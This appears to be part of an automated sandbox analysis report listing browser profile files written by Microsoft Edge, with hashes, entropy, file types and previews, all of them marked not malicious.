Preview:	{"net":{"http_server_properties":{"servers":[{"anonymization":["IAAAABoAAABodHRwczovL3d3dy5nb29nbGVhcGlzLmNvbQAA",false],"server":"https://www.googleapis.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13379552666071802","port":443,"protocol_str":"quic"}],"anonymization":["GAAAABIAAABodHRwczovL2dvb2dsZS5jb20AAA==",false],"server":"https://clients2.google.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13379552670895875","port":443,"protocol_str":"quic"}],"anonymization":["JAAAAB0AAABodHRwczovL2dvb2dsZXVzZXJjb250ZW50LmNvbQAAAA==",false],"server":"https://clients2.googleusercontent.com","supports_spdy":true},{"anonymization":["HAAAABUAAABodHRwczovL21pY3Jvc29mdC5jb20AAAA=",false],"server":"https://msedgeextensions.sf.tlu.dl.delivery.mp.microsoft.com","supports_spdy":true},{"anonymization":["HAAAABUAAABodHRwczovL21pY3Jvc29mdC5jb20AAAA=",false],"server":"https://edge.microsoft.com","supports_spdy":true},

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\cf6ded0e-0c19-46c0-8b54-504b51baf47e.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Nurturing\campaign_history

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 3, database pages 5, cookie 0x2, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.8350301952073809
Encrypted:	false
SSDEEP:	24:TLSOUOq0afDdWec9sJlAMoqsgC7zn2z8ZI7J5fc:T+OUzDbg3sAM/sgCnn2ztc
MD5:	0DAD8D7F079797377CD56DAE47E1A619
SHA1:	A353C01C5B9BA9E0315ABA74D3337B7D6EE97CB2
SHA-256:	7BDA584E0C1BE9E104065370FD279A7E771D7EB4F7E4CC7C80F146931F150E33
SHA-512:	5A57C0D303672564DDEAA08B5DAAEE1BA24B67C46100720CE69F0908427ACE55F330D96A772D0E1F96B595FBBD70E6145AA464FC4F312EFE095F9AC909E304E8
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Preferences (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	9817
Entropy (8bit):	5.115363695518363
Encrypted:	false
SSDEEP:	192:stIkdpasL98sZihUkSm3Z8fbV+Fd2QA66W4aFIMYuPn0YJ:stIQasL98fhKJbGYQx6W4aTYOt
MD5:	883EFB99DDF93357DAE8705DDC616703
SHA1:	68002FDF75BAF5C5CE4B0230050A0BCFCBA24559
SHA-256:	F900C49E9B3D8507D6E088E699EFCC169C12A44998D46C9C76C9D5A4431C0C6C
SHA-512:	6A5DEB7DB3CE0D712C23B56C57FE66B44DB9A7F2BAEF4E4E8F4A305C72946AD3E5EF724328DED2E7CE07B0AB570DA5321FE0EAC3BA9171226FE0368725940BE8
Malicious:	false
Preview:	{"aadc_info":{"age_group":0},"account_tracker_service_last_update":"13376960662658746","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_experiences":{},"arbitration_local_nsat_reset_time":"13340900603634208","arbitration_using_experiment_config":false,"autocomplete":{"retention_policy_last_version":117},"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false,"should_reset_check_default_browser":false,"toolbar_extensions_hub_button_visibility":0,"underside_chat_bing_signed_in_status":false,"window_placement":{"bottom":974,"left":10,"maximized":true,"right":1060,"top":10,"work_area_bottom":984,"work_area_left":0,"work_area_right":1280,"work_area_top":0}},"browser_content_container_height":882,"browser_content_container_width":1236,"browser_content_container_x":0,"browser_content_container_y":102,"continuous_migration":{"ci_correction_for_holdout_treatment_state":1},"countryid_at_install":17224,"custom_links":{"l

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Preferences~RF3cb7f.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	9817
Entropy (8bit):	5.115363695518363
Encrypted:	false
SSDEEP:	192:stIkdpasL98sZihUkSm3Z8fbV+Fd2QA66W4aFIMYuPn0YJ:stIQasL98fhKJbGYQx6W4aTYOt
MD5:	883EFB99DDF93357DAE8705DDC616703
SHA1:	68002FDF75BAF5C5CE4B0230050A0BCFCBA24559
SHA-256:	F900C49E9B3D8507D6E088E699EFCC169C12A44998D46C9C76C9D5A4431C0C6C
SHA-512:	6A5DEB7DB3CE0D712C23B56C57FE66B44DB9A7F2BAEF4E4E8F4A305C72946AD3E5EF724328DED2E7CE07B0AB570DA5321FE0EAC3BA9171226FE0368725940BE8
Malicious:	false
Preview:	{"aadc_info":{"age_group":0},"account_tracker_service_last_update":"13376960662658746","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_experiences":{},"arbitration_local_nsat_reset_time":"13340900603634208","arbitration_using_experiment_config":false,"autocomplete":{"retention_policy_last_version":117},"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false,"should_reset_check_default_browser":false,"toolbar_extensions_hub_button_visibility":0,"underside_chat_bing_signed_in_status":false,"window_placement":{"bottom":974,"left":10,"maximized":true,"right":1060,"top":10,"work_area_bottom":984,"work_area_left":0,"work_area_right":1280,"work_area_top":0}},"browser_content_container_height":882,"browser_content_container_width":1236,"browser_content_container_x":0,"browser_content_container_y":102,"continuous_migration":{"ci_correction_for_holdout_treatment_state":1},"countryid_at_install":17224,"custom_links":{"l

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Preferences~RF40d5a.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	9817
Entropy (8bit):	5.115363695518363
Encrypted:	false
SSDEEP:	192:stIkdpasL98sZihUkSm3Z8fbV+Fd2QA66W4aFIMYuPn0YJ:stIQasL98fhKJbGYQx6W4aTYOt
MD5:	883EFB99DDF93357DAE8705DDC616703
SHA1:	68002FDF75BAF5C5CE4B0230050A0BCFCBA24559
SHA-256:	F900C49E9B3D8507D6E088E699EFCC169C12A44998D46C9C76C9D5A4431C0C6C
SHA-512:	6A5DEB7DB3CE0D712C23B56C57FE66B44DB9A7F2BAEF4E4E8F4A305C72946AD3E5EF724328DED2E7CE07B0AB570DA5321FE0EAC3BA9171226FE0368725940BE8
Malicious:	false
Preview:	{"aadc_info":{"age_group":0},"account_tracker_service_last_update":"13376960662658746","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_experiences":{},"arbitration_local_nsat_reset_time":"13340900603634208","arbitration_using_experiment_config":false,"autocomplete":{"retention_policy_last_version":117},"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false,"should_reset_check_default_browser":false,"toolbar_extensions_hub_button_visibility":0,"underside_chat_bing_signed_in_status":false,"window_placement":{"bottom":974,"left":10,"maximized":true,"right":1060,"top":10,"work_area_bottom":984,"work_area_left":0,"work_area_right":1280,"work_area_top":0}},"browser_content_container_height":882,"browser_content_container_width":1236,"browser_content_container_x":0,"browser_content_container_y":102,"continuous_migration":{"ci_correction_for_holdout_treatment_state":1},"countryid_at_install":17224,"custom_links":{"l

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Preferences~RF4828a.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	9817
Entropy (8bit):	5.115363695518363
Encrypted:	false
SSDEEP:	192:stIkdpasL98sZihUkSm3Z8fbV+Fd2QA66W4aFIMYuPn0YJ:stIQasL98fhKJbGYQx6W4aTYOt
MD5:	883EFB99DDF93357DAE8705DDC616703
SHA1:	68002FDF75BAF5C5CE4B0230050A0BCFCBA24559
SHA-256:	F900C49E9B3D8507D6E088E699EFCC169C12A44998D46C9C76C9D5A4431C0C6C
SHA-512:	6A5DEB7DB3CE0D712C23B56C57FE66B44DB9A7F2BAEF4E4E8F4A305C72946AD3E5EF724328DED2E7CE07B0AB570DA5321FE0EAC3BA9171226FE0368725940BE8
Malicious:	false
Preview:	{"aadc_info":{"age_group":0},"account_tracker_service_last_update":"13376960662658746","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_experiences":{},"arbitration_local_nsat_reset_time":"13340900603634208","arbitration_using_experiment_config":false,"autocomplete":{"retention_policy_last_version":117},"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false,"should_reset_check_default_browser":false,"toolbar_extensions_hub_button_visibility":0,"underside_chat_bing_signed_in_status":false,"window_placement":{"bottom":974,"left":10,"maximized":true,"right":1060,"top":10,"work_area_bottom":984,"work_area_left":0,"work_area_right":1280,"work_area_top":0}},"browser_content_container_height":882,"browser_content_container_width":1236,"browser_content_container_x":0,"browser_content_container_y":102,"continuous_migration":{"ci_correction_for_holdout_treatment_state":1},"countryid_at_install":17224,"custom_links":{"l

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Secure Preferences (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	25012
Entropy (8bit):	5.568032032957698
Encrypted:	false
SSDEEP:	768:XjCLfhWPeYfo/8F1+UoAYDCx9Tuqh0VfUC9xbog/OVoN+EHrwfpBtuP1:XjCLfhWPeYfo/u1ja1AEUntO
MD5:	32A54DC720715C2F5D69CCF321EDEC50
SHA1:	31A82B220B1FC979E8DCA405DAEA4D4D441E4BAE
SHA-256:	E009CBA9CAA0AA54013018391A17AD0FCAF3C1760A269C3F0F324414D7041871
SHA-512:	14C9CB52B6A0FE9387D714F8687414968402B2302B62700B3115D6D974103E306B3B603C33B453266FD44E8D18FD63301301AE7C731840643BE36B9848204457
Malicious:	false
Preview:	{"edge_fundamentals_appdefaults":{"ess_lightweight_version":101},"ess_kv_states":{"restore_on_startup":{"closed_notification":false,"decrypt_success":true,"key":"restore_on_startup","notification_popup_count":0},"startup_urls":{"closed_notification":false,"decrypt_success":true,"key":"startup_urls","notification_popup_count":0},"template_url_data":{"closed_notification":false,"decrypt_success":true,"key":"template_url_data","notification_popup_count":0}},"extensions":{"settings":{"ahfgeienlihckogmohjhadlkjgocpleb":{"active_permissions":{"api":["management","system.display","system.storage","webstorePrivate","system.cpu","system.memory","system.network"],"explicit_host":[],"manifest_permissions":[],"scriptable_host":[]},"app_launcher_ordinal":"t","commands":{},"content_settings":[],"creation_flags":1,"events":[],"first_install_time":"13376960661982340","from_webstore":false,"incognito_content_settings":[],"incognito_preferences":{},"last_update_time":"13376960661982340","location":5,"ma

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Secure Preferences~RF3c2b5.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	25012
Entropy (8bit):	5.568032032957698
Encrypted:	false
SSDEEP:	768:XjCLfhWPeYfo/8F1+UoAYDCx9Tuqh0VfUC9xbog/OVoN+EHrwfpBtuP1:XjCLfhWPeYfo/u1ja1AEUntO
MD5:	32A54DC720715C2F5D69CCF321EDEC50
SHA1:	31A82B220B1FC979E8DCA405DAEA4D4D441E4BAE
SHA-256:	E009CBA9CAA0AA54013018391A17AD0FCAF3C1760A269C3F0F324414D7041871
SHA-512:	14C9CB52B6A0FE9387D714F8687414968402B2302B62700B3115D6D974103E306B3B603C33B453266FD44E8D18FD63301301AE7C731840643BE36B9848204457
Malicious:	false
Preview:	{"edge_fundamentals_appdefaults":{"ess_lightweight_version":101},"ess_kv_states":{"restore_on_startup":{"closed_notification":false,"decrypt_success":true,"key":"restore_on_startup","notification_popup_count":0},"startup_urls":{"closed_notification":false,"decrypt_success":true,"key":"startup_urls","notification_popup_count":0},"template_url_data":{"closed_notification":false,"decrypt_success":true,"key":"template_url_data","notification_popup_count":0}},"extensions":{"settings":{"ahfgeienlihckogmohjhadlkjgocpleb":{"active_permissions":{"api":["management","system.display","system.storage","webstorePrivate","system.cpu","system.memory","system.network"],"explicit_host":[],"manifest_permissions":[],"scriptable_host":[]},"app_launcher_ordinal":"t","commands":{},"content_settings":[],"creation_flags":1,"events":[],"first_install_time":"13376960661982340","from_webstore":false,"incognito_content_settings":[],"incognito_preferences":{},"last_update_time":"13376960661982340","location":5,"ma

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\Database\000001.dbtmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	16
Entropy (8bit):	3.2743974703476995
Encrypted:	false
SSDEEP:	3:1sjgWIV//Uv:1qIFUv
MD5:	46295CAC801E5D4857D09837238A6394
SHA1:	44E0FA1B517DBF802B18FAF0785EEEA6AC51594B
SHA-256:	0F1BAD70C7BD1E0A69562853EC529355462FCD0423263A3D39D6D0D70B780443
SHA-512:	8969402593F927350E2CEB4B5BC2A277F3754697C1961E3D6237DA322257FBAB42909E1A742E22223447F3A4805F8D8EF525432A7C3515A549E984D3EFF72B23
Malicious:	false
Preview:	MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\Database\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	2294
Entropy (8bit):	5.8328570432507645
Encrypted:	false
SSDEEP:	48:F2emntrdDwtMfBEXrdYxBrdDwtPBVrdbtPBh:F1mntxDw2kxYxBxDwRxbl
MD5:	BD534E9972365FB2E54BC7CC91D7F8FB
SHA1:	C39225951828A019B17E62F09320F90DADB849A3
SHA-256:	1D751C9B1C5E44878DDA9301190213A1280FA1BBF3AB5D568017CBCC4E226A50
SHA-512:	179BCFC94BFFB8F251082E33CEAB0395EE06C3404B93FB8BCCCB03244FC70115B327A32CAEC38491C705CB9534F529FA86595C21EECCEF935E16121A1979A5A7
Malicious:	false
Preview:	....I................URES:0...INITDATA_NEXT_RESOURCE_ID.1..INITDATA_DB_VERSION.2s@;Km................INITDATA_NEXT_REGISTRATION_ID.1..INITDATA_NEXT_VERSION_ID.1.+INITDATA_UNIQUE_ORIGIN:https://ntp.msn.com/...REG:https://ntp.msn.com/.0......https://ntp.msn.com/edge/ntp...https://ntp.msn.com/edge/ntp/service-worker.js?bundles=latest&riverAgeMinutes=2880&navAgeMinutes=2880&networkTimeoutSeconds=5&bgTaskNetworkTimeoutSeconds=8&ssrBasePageNavAgeMinutes=360&enableEmptySectionRoute=true&enableNavPreload=true&enableFallbackVerticalsFeed=true&noCacheLayoutTemplates=true&cacheSSRBasePageResponse=true&enableStaticAdsRouting=true .(.0.8.......@...Z.b.....trueh..h..h..h..h..h..h..h..h..h..h.!p.x..................................REGID_TO_ORIGIN:0.https://ntp.msn.com/..RES:0.0.......https://ntp.msn.com/edge/ntp/service-worker.js?bundles=latest&riverAgeMinutes=2880&navAgeMinutes=2880&networkTimeoutSeconds=5&bgTaskNetworkTimeoutSeconds=8&ssrBasePageNavAgeMinutes=360&enableEmptySectionRoute=true&enable

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\Database\CURRENT (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	16
Entropy (8bit):	3.2743974703476995
Encrypted:	false
SSDEEP:	3:1sjgWIV//Uv:1qIFUv
MD5:	46295CAC801E5D4857D09837238A6394
SHA1:	44E0FA1B517DBF802B18FAF0785EEEA6AC51594B
SHA-256:	0F1BAD70C7BD1E0A69562853EC529355462FCD0423263A3D39D6D0D70B780443
SHA-512:	8969402593F927350E2CEB4B5BC2A277F3754697C1961E3D6237DA322257FBAB42909E1A742E22223447F3A4805F8D8EF525432A7C3515A549E984D3EFF72B23
Malicious:	false
Preview:	MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\Database\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	299
Entropy (8bit):	5.1532397164252925
Encrypted:	false
SSDEEP:	6:Hq+Qon4M1923oH+TcwtE/a252KLlVqIsAVq2P923oH+TcwtE/a2ZIFUv:Kvo4hYeb8xLC8Vv4Yeb8J2FUv
MD5:	6938166BE55325B00C273034636658FA
SHA1:	A7DFAD27CC59276A95D74A7956C04B1505268CEA
SHA-256:	0BA84AEE43B7E2D2994DCAE5FF7EB56B3B4896EFBAA584C84B0E48044DCECD3B
SHA-512:	F167C729ACCA436DE571613DA673458D4F4EBAEEA6A216EA20E2FAF4FE0ABE51A2AC5ABA365B2949CCA046DD049DFCBCDDAF140AEE41EC8915FADD7E7C616F19
Malicious:	false
Preview:	2024/11/24-17:24:38.452 1244 Creating DB C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\Database since it was missing..2024/11/24-17:24:38.550 1244 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\Database/MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\Database\MANIFEST-000001

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	OpenPGP Secret Key
Category:	dropped
Size (bytes):	41
Entropy (8bit):	4.704993772857998
Encrypted:	false
SSDEEP:	3:scoBAIxQRDKIVjn:scoBY7jn
MD5:	5AF87DFD673BA2115E2FCF5CFDB727AB
SHA1:	D5B5BBF396DC291274584EF71F444F420B6056F1
SHA-256:	F9D31B278E215EB0D0E9CD709EDFA037E828F36214AB7906F612160FEAD4B2B4
SHA-512:	DE34583A7DBAFE4DD0DC0601E8F6906B9BC6A00C56C9323561204F77ABBC0DC9007C480FFE4092FF2F194D54616CAF50AECBD4A1E9583CAE0C76AD6DD7C2375B
Malicious:	false
Preview:	.\|.."....leveldb.BytewiseComparator......

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\ScriptCache\2cc80dabc69f58b6_0

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	114380
Entropy (8bit):	5.578634658259899
Encrypted:	false
SSDEEP:	1536:AU906yxPXfOxr1lhCe1nL/rmL/rBZXECjAWNKPt3dfvYgGxst:d9LyxPXfOxr1lMe1nL/CL/TXEmsvFMst
MD5:	9F936A39BFB50A0B708E7C25C03D4AE9
SHA1:	4F8143388D32D875142B5EF3D2652EDD628CA95E
SHA-256:	37E1BF9CE390E0268B4000958A77D95F413A82B1B2427AF748AA3414174D172F
SHA-512:	BD54BB34C1CB06ADD6FEB08E59E5A93814B8A5C6770E6FF9CD7834E4F1044153E2D70F007C990851AA801B16D6F2CC8C6B3AEFD471EB00F097C28391C66CB652
Malicious:	false
Preview:	0\r..m..........rSG.....0!function(e,t){if("object"==typeof exports&&"object"==typeof module)module.exports=t();else if("function"==typeof define&&define.amd)define([],t);else{var s=t();for(var n in s)("object"==typeof exports?exports:e)[n]=s[n]}}(self,(()=>(()=>{"use strict";var e={894:()=>{try{self["workbox:cacheable-response:6.4.0"]&&_()}catch(e){}},81:()=>{try{self["workbox:core:6.4.0"]&&_()}catch(e){}},485:()=>{try{self["workbox:expiration:6.4.0"]&&_()}catch(e){}},484:()=>{try{self["workbox:navigation-preload:6.4.0"]&&_()}catch(e){}},248:()=>{try{self["workbox:precaching:6.4.0"]&&_()}catch(e){}},492:()=>{try{self["workbox:routing:6.4.0"]&&_()}catch(e){}},154:()=>{try{self["workbox:strategies:6.4.0"]&&_()}catch(e){}}},t={};function s(n){var a=t[n];if(void 0!==a)return a.exports;var r=t[n]={exports:{}};return e[n](r,r.exports,s),r.exports}s.g=function(){if("object"==typeof globalThis)return globalThis;try{return this\|\|new Function("return this")()}catch(e){if("object"==typeof window

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\ScriptCache\2cc80dabc69f58b6_1

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	188881
Entropy (8bit):	6.385358175374878
Encrypted:	false
SSDEEP:	3072:4L1lGFuCtLZjwDdCg1OL/e7MdV4ZS0GYD4/x2SNQQ:PjwcgUL/AIVn0Gy2rL
MD5:	524C31BCA8E0DB6BFF2C5CF88940544C
SHA1:	AFB5885B78EE60BE5E7C27012D2DDBC7D53B7A30
SHA-256:	4B1AF37ED200F2C20DD0142E45457DAE6CA923C26E5FBEC732030C3576268DD7
SHA-512:	E13117341857ABE98E12353ABF4E19B305A18A46FA27E1940C01BAE28BD0789DCB1B3DC2A8F944C860F8C2C2F27BD7CC7D496858214A93A3D7E6814FFC6204F6
Malicious:	false
Preview:	0\r..m..........rSG.....0....z3.................;....x.x........,T.8..`,.....L`.....,T...`......L`......Rcn.......exports...Rc.=......module....Rc........define....Rb.......amd....D..H...........".. ...".. ...!...a..2....]".. ...!...-.....!...\|..c.....>a...8v............*.........".. ...!........./..4.....).....$Sb............I`....Da......... ..f..........`...p...0...j...p..H......q.Q.m...b...https://ntp.msn.com/edge/ntp/service-worker.js?bundles=latest&riverAgeMinutes=2880&navAgeMinutes=2880&networkTimeoutSeconds=5&bgTaskNetworkTimeoutSeconds=8&ssrBasePageNavAgeMinutes=360&enableEmptySectionRoute=true&enableNavPreload=true&enableFallbackVerticalsFeed=true&noCacheLayoutTemplates=true&cacheSSRBasePageResponse=true&enableStaticAdsRouting=true..a........Db............D`.....E..A.`............,T.,.`......L`.....,T...`>....DL`.....DSb.....................q...1.c................I`....Da....zY...,T.`.`z.....L`..........a............a.........Dr8................/....-.......}....4..

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\ScriptCache\index

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	24
Entropy (8bit):	2.1431558784658327
Encrypted:	false
SSDEEP:	3:m+l:m
MD5:	54CB446F628B2EA4A5BCE5769910512E
SHA1:	C27CA848427FE87F5CF4D0E0E3CD57151B0D820D
SHA-256:	FBCFE23A2ECB82B7100C50811691DDE0A33AA3DA8D176BE9882A9DB485DC0F2D
SHA-512:	8F6ED2E91AED9BD415789B1DBE591E7EAB29F3F1B48FDFA5E864D7BF4AE554ACC5D82B4097A770DABC228523253623E4296C5023CF48252E1B94382C43123CB0
Malicious:	false
Preview:	0\r..m..................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\ScriptCache\index-dir\temp-index

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	72
Entropy (8bit):	3.5376346459829513
Encrypted:	false
SSDEEP:	3:VDfuAyXl/ly/l9/lxEYa/l/Uj+n:UAKmOv8Cn
MD5:	B71CF8DD212C6E588B948A918519C759
SHA1:	E197F21FAB336D561B5ECA79D230AAC3FFB33420
SHA-256:	5ADD60CC0E3AA4A36D36F8003BD3D5716B1A8B24C71EADEC7A1ED988B2C5F981
SHA-512:	C4EF283D4067E9833E38F7684D9FC4236D7FF607BA25F690F7D64AB94E5EC58AC914205F9098E02D41A520202318FE83E7F87F004935C5985EBF5BC2E1EEFE65
Malicious:	false
Preview:	@... ...oy retne.........................X....,................@.]F./.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\ScriptCache\index-dir\the-real-index (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	72
Entropy (8bit):	3.5376346459829513
Encrypted:	false
SSDEEP:	3:VDfuAyXl/ly/l9/lxEYa/l/Uj+n:UAKmOv8Cn
MD5:	B71CF8DD212C6E588B948A918519C759
SHA1:	E197F21FAB336D561B5ECA79D230AAC3FFB33420
SHA-256:	5ADD60CC0E3AA4A36D36F8003BD3D5716B1A8B24C71EADEC7A1ED988B2C5F981
SHA-512:	C4EF283D4067E9833E38F7684D9FC4236D7FF607BA25F690F7D64AB94E5EC58AC914205F9098E02D41A520202318FE83E7F87F004935C5985EBF5BC2E1EEFE65
Malicious:	false
Preview:	@... ...oy retne.........................X....,................@.]F./.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\ScriptCache\index-dir\the-real-index~RF4057a.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	72
Entropy (8bit):	3.5376346459829513
Encrypted:	false
SSDEEP:	3:VDfuAyXl/ly/l9/lxEYa/l/Uj+n:UAKmOv8Cn
MD5:	B71CF8DD212C6E588B948A918519C759
SHA1:	E197F21FAB336D561B5ECA79D230AAC3FFB33420
SHA-256:	5ADD60CC0E3AA4A36D36F8003BD3D5716B1A8B24C71EADEC7A1ED988B2C5F981
SHA-512:	C4EF283D4067E9833E38F7684D9FC4236D7FF607BA25F690F7D64AB94E5EC58AC914205F9098E02D41A520202318FE83E7F87F004935C5985EBF5BC2E1EEFE65
Malicious:	false
Preview:	@... ...oy retne.........................X....,................@.]F./.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Session Storage\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	6253
Entropy (8bit):	3.400465069050369
Encrypted:	false
SSDEEP:	96:l08wpTtiBriA7AEb1/2xhgLt1Kom4u9XT+yX+Vi3oks9D5SLl9iSrC1FC1Yl:kEEhgh1MT9XT+yXKi3DY5SLl9iSrCn
MD5:	521696A0908A74B6835D33D9AD42D400
SHA1:	6BFC0E152A5F172ADF7E8213151881091581B7D2
SHA-256:	38B7D4127C81E614993CD4C490F6C8618D5D401D5BD2210003495997564ABBB1
SHA-512:	8E37C309C15236AE961A09E5563ED7ED2AB643B41E54673BD91F23106887DA32492C75954005064816AF2FBA3B2FD40689D255AFA062CC973C3D70FD94542C82
Malicious:	false
Preview:	*...#................version.1..namespace-..&f.................&f.................&f.................&f.................&f.................].b................next-map-id.1.Cnamespace-6a74d02f_c2de_4757_8506_5dd87301e9e1-https://ntp.msn.com/.0T..Q(................map-0-shd_sweeper.-{.".x.-.m.s.-.f.l.i.g.h.t.I.d.".:.".m.s.n.a.l.l.e.x.p.u.s.e.r.s.,.p.r.g.-.s.p.-.l.i.v.e.a.p.i.,.c.p.r.g.-.h.p.-.r.d.u.g.2.,.p.r.g.-.h.o.m.e.t.o.-.h.p.m.s.n.,.p.r.g.-.h.p.-.r.d.c.v.,.p.r.g.-.h.p.-.s.w.i.t.c.h.f.e.e.d.,.p.r.g.-.m.s.n.-.i.d.,.a.d.s.-.c.m.n.-.m.i.g.r.,.x.a.d.s.-.a.d.q.i.s.c.b.m.m.-.c.,.c.p.r.g.-.c.-.p.o.l.i.s.h.-.s.t.y.l.e.s.,.p.r.g.-.1.s.w.-.s.a.g.e.e.x.4.e.,.p.r.g.-.1.s.w.-.s.a.-.m.a.i.p.r.o.f.i.l.e._.c.,.p.r.e.p.r.g.-.1.s.w.-.s.a.m.u.l.p.o.s.n.e.g.r.e.l.t.3.,.p.r.g.-.1.s.w.-.m.s.n.c.t.r.l.,.p.r.g.-.1.s.w.-.b.g.a.b.r.t.p.g.-.r.,.p.r.g.-.1.s.w.-.r.e.v._.a.b.r.t.p.g.,.p.r.g.-.1.s.w.-.r.e.v._.b.g._.a.b.r.t.p.g.,.p.r.g.-.1.s.w.-.t.m.u.i.d.s.y.n.c.r.f.w.o.e.r.r.,.p.r.g.-.1.s.w.-.r.e.f.r.e.s.h.p.,.p.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Session Storage\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	324
Entropy (8bit):	5.1412831904512215
Encrypted:	false
SSDEEP:	6:HqWAH0Vq2P923oH+TcwtrQMxIFUt8YqW+gZmw+YqWyfIkwO923oH+TcwtrQMFLJ:KDMv4YebCFUt8XU/+XTA5LYebtJ
MD5:	20B25CF066C9FBC79D0D2EED1DBD93FA
SHA1:	4E94627C7B92C21EEB1820DE60E7266A6DFCC08B
SHA-256:	C03B58FC00F26D54FA3AA779A8794B16BE6D44B68DE390D085485D3C0DBDB508
SHA-512:	A39BB7E5A247D2B486902724418C888B0F3C1E0BB22FDCD92DB97019E70CA027F475FCEED1F7EB8E595B4D9FED55BAC2699267FA88E150D435CD27C01452CD7D
Malicious:	false
